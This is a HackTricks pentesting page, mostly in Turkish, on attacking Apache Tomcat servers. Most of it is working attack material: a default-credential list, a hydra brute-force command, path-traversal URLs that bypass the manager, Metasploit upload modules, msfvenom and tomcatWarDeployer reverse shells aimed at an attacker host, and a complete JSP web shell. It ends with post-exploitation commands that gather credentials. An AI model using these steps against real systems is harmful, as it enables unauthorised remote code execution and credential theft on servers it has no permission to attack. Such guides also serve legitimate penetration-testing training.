hacktricks/network-services-pentesting/pentesting-web/tomcat/README.md

261 lines
11 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Tomcat
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Keşif
* Genellikle **port 8080** üzerinde çalışır
* **Yaygın Tomcat hatası:**
<figure><img src="../../../.gitbook/assets/image (150).png" alt=""><figcaption></figcaption></figure>
## Sayım
### **Versiyon Tanımlama**
Apache Tomcat'in versiyonunu bulmak için basit bir komut çalıştırılabilir:
```bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
```
Bu, belgeler dizin sayfasında "Tomcat" terimini arayacak ve HTML yanıtının başlık etiketinde sürümü ortaya çıkaracaktır.
### **Yönetici Dosyaları Konumu**
**`/manager`** ve **`/host-manager`** dizinlerinin tam konumlarını belirlemek önemlidir çünkü adları değiştirilebilir. Bu sayfaları bulmak için bir brute-force araması önerilir.
### **Kullanıcı Adı Sayımı**
Tomcat 6'dan daha eski sürümler için, kullanıcı adlarını saymak mümkündür:
```bash
msf> use auxiliary/scanner/http/tomcat_enum
```
### **Varsayılan Kimlik Bilgileri**
**`/manager/html`** dizini, WAR dosyalarının yüklenmesine ve dağıtılmasına izin verdiği için özellikle hassastır; bu da kod yürütmeye yol açabilir. Bu dizin, yaygın kimlik bilgileri olan temel HTTP kimlik doğrulaması ile korunmaktadır:
* admin:admin
* tomcat:tomcat
* admin:
* admin:s3cr3t
* tomcat:s3cr3t
* admin:tomcat
Bu kimlik bilgileri şu şekilde test edilebilir:
```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```
Başka bir dikkat çekici dizin **`/manager/status`**'dır; bu dizin Tomcat ve OS sürümünü gösterir, bu da zafiyetlerin belirlenmesine yardımcı olur.
### **Brute Force Attack**
Yönetici dizinine brute force saldırısı denemek için şunlar kullanılabilir:
```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
```
Along with setting various parameters in Metasploit to target a specific host.
## Common Vulnerabilities
### **Password Backtrace Disclosure**
`/auth.jsp` erişimi, şanslı durumlarda bir backtrace altında parolanın ifşa olmasına neden olabilir.
### **Double URL Encoding**
`mod_jk` içindeki CVE-2007-1860 açığı, özel olarak hazırlanmış bir URL aracılığıyla yönetim arayüzüne yetkisiz erişim sağlayan çift URL kodlaması yol geçişine izin verir.
Tomcat yönetim web'ine erişmek için: `pathTomcat/%252E%252E/manager/html` adresine gidin.
### /examples
Apache Tomcat sürümleri 4.x'ten 7.x'e kadar, bilgi ifşasına ve cross-site scripting (XSS) saldırılarına karşı hassas örnek betikler içerir. Bu betikler, yetkisiz erişim ve potansiyel istismar için kontrol edilmelidir. [daha fazla bilgi burada](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/) bulun.
* /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp
* /examples/jsp/snp/snoop.jsp
* /examples/jsp/error/error.html
* /examples/jsp/sessions/carts.html
* /examples/jsp/checkbox/check.html
* /examples/jsp/colors/colors.html
* /examples/jsp/cal/login.html
* /examples/jsp/include/include.jsp
* /examples/jsp/forward/forward.jsp
* /examples/jsp/plugin/plugin.jsp
* /examples/jsp/jsptoserv/jsptoservlet.jsp
* /examples/jsp/simpletag/foo.jsp
* /examples/jsp/mail/sendmail.jsp
* /examples/servlet/HelloWorldExample
* /examples/servlet/RequestInfoExample
* /examples/servlet/RequestHeaderExample
* /examples/servlet/RequestParamExample
* /examples/servlet/CookieExample
* /examples/servlet/JndiServlet
* /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp
### **Path Traversal Exploit**
Bazı [**Tomcat'in savunmasız yapılandırmalarında**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) `/..;/` yolunu kullanarak Tomcat'teki korumalı dizinlere erişim sağlayabilirsiniz.
Örneğin, `www.vulnerable.com/lalala/..;/manager/html` adresine erişerek **Tomcat yöneticisi** sayfasına erişim sağlayabilirsiniz.
Bu hileyi kullanarak korumalı yolları atlatmanın **başka bir yolu**, `http://www.vulnerable.com/;param=value/manager/html` adresine erişmektir.
## RCE
Son olarak, Tomcat Web Uygulama Yöneticisi'ne erişiminiz varsa, **.war dosyası yükleyip dağıtabilirsiniz (kod çalıştırma)**.
### Limitations
Sadece **yeterli ayrıcalıklara** (roller: **admin**, **manager** ve **manager-script**) sahip olduğunuzda bir WAR dağıtabilirsiniz. Bu ayrıntılar genellikle `/usr/share/tomcat9/etc/tomcat-users.xml` altında tanımlanan _tomcat-users.xml_ dosyasında bulunabilir (sürümlere göre değişir) (bkz. [POST ](./#post)section).
```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
```
### Metasploit
```bash
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
```
### MSFVenom Ters Shell
1. Dağıtmak için war dosyasını oluşturun:
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
```
2. `revshell.war` dosyasını yükleyin ve ona erişin (`/revshell/`):
### [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer) ile bağlama ve ters shell
Bazı senaryolarda bu çalışmaz (örneğin eski sun sürümleri)
#### İndir
```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git
```
#### Ters kabuk
```bash
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
```
#### Bind shell
```bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
```
### [Culsterd](https://github.com/hatRiot/clusterd) Kullanımı
```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
```
### Manuel yöntem - Web shell
**index.jsp** dosyasını bu [içerikle](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) oluşturun:
```java
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
```
```bash
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it
```
Bu da yükleme, indirme ve komut yürütme sağlar: [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
### Manuel Yöntem 2
[Bu](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) gibi bir JSP web shell alın ve bir WAR dosyası oluşturun:
```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
```
## POST
Tomcat kimlik bilgileri dosyasının adı _tomcat-users.xml_dir.
```bash
find / -name tomcat-users.xml 2>/dev/null
```
Tomcat kimlik bilgilerini toplamanın diğer yolları:
```bash
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
```
## Diğer tomcat tarama araçları
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
## Referanslar
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
**Try Hard Security Group**
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın.**
</details>
{% endhint %}